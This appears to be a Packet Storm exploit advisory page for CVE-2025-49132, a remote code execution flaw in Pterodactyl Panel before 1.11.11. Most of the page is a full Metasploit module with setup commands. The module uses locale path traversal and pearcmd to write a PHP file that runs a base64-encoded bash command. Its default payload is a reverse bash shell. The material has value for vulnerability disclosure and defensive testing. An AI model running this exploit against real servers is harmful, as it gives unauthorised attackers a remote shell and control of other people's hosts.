PACKETSTORM 10 CRITICAL

📄 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741

10 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP file via the locale functionality and then execute it to gain a reverse...
Visit Original Source

Basic Information

ID PACKETSTORM:215741
Published Feb 17, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://pterodactyl.io/ |
=============================================================================================================================================

[+] Summary : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.
The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands.
Successful exploitation may lead to remote shell access under the privileges of the web server user.

[+] POC :

set RHOSTS target.com
set RPORT 80
set TARGETURI /
set LHOST your_ip
set LPORT your_port

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'
require 'json'
require 'rubygems'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution',
'Description' => %q{
This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel
versions before 1.11.11. The vulnerability allows an attacker to write a malicious
PHP file via the locale functionality and then execute it to gain a reverse shell.
},
'Author' => [
'pwndalf',
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49132'],
['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-10-15',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']),
OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']),
OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php'])
]
)
end

def check

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'version')
})

unless res
return CheckCode::Unknown('Connection failed')
end

if res.code == 200 && res.body
version = extract_version(res.body)

if version
vprint_status("Detected Pterodactyl version: #{version}")

begin
current_version = Gem::Version.new(version)
vulnerable_version = Gem::Version.new('1.11.11')

if current_version < vulnerable_version
return CheckCode::Appears("Vulnerable version detected: #{version}")
else
return CheckCode::Safe("Patched version detected: #{version}")
end
rescue ArgumentError => e
vprint_error("Invalid version format: #{e.message}")
return CheckCode::Unknown('Invalid version format')
end
end
end

locale_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json')
})

if locale_res && locale_res.code == 200
return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed')
end

CheckCode::Safe('Target does not appear to be running Pterodactyl panel')
rescue ::Rex::ConnectionError
CheckCode::Unknown('Connection failed')
end

def extract_version(body)

json_data = JSON.parse(body) rescue nil
if json_data.is_a?(Hash) && json_data['version']
return json_data['version']
end

if body =~ /<meta[^>]*name="version"[^>]*content="([^"]+)"[^>]*>/i
return $1
end

if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i
return $1
end

nil
end

def execute_command(cmd)
encoded_cmd = Base64.strict_encode64(cmd)
payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash"
write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
php_payload = "<?=system('#{payload_cmd}')?>"

print_status("Attempting to write payload to #{datastore['TMP_FILE']}")
write_res = send_request_cgi({
'method' => 'GET',
'uri' => write_uri,
'vars_get' => {
'+config-create+' => '',
'locale' => "../../../../..#{datastore['PEAR_PATH']}",
'namespace' => 'pearcmd',
'/' => php_payload + " /tmp/#{datastore['TMP_FILE']}"
}
}, 10)

unless write_res && write_res.code == 200
fail_with(Failure::NotVulnerable, 'Failed to write payload')
end

print_good("Payload written successfully")

trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')

print_status("Triggering payload...")
begin
send_request_cgi({
'method' => 'GET',
'uri' => trigger_uri,
'vars_get' => {
'locale' => '../../../../../../tmp',
'namespace' => 'payload'
}
}, 5)
rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout

vprint_status('Trigger request completed (expected timeout/error)')
end

print_status('Payload triggered. Check your listener for incoming connection.')

rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end

def exploit

if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?
fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty')
end
unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD)
fail_with(Failure::BadConfig, 'Target is not compatible with command payload')
end

print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}")
command = payload.encoded
execute_command(command)
handler
end
end

Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.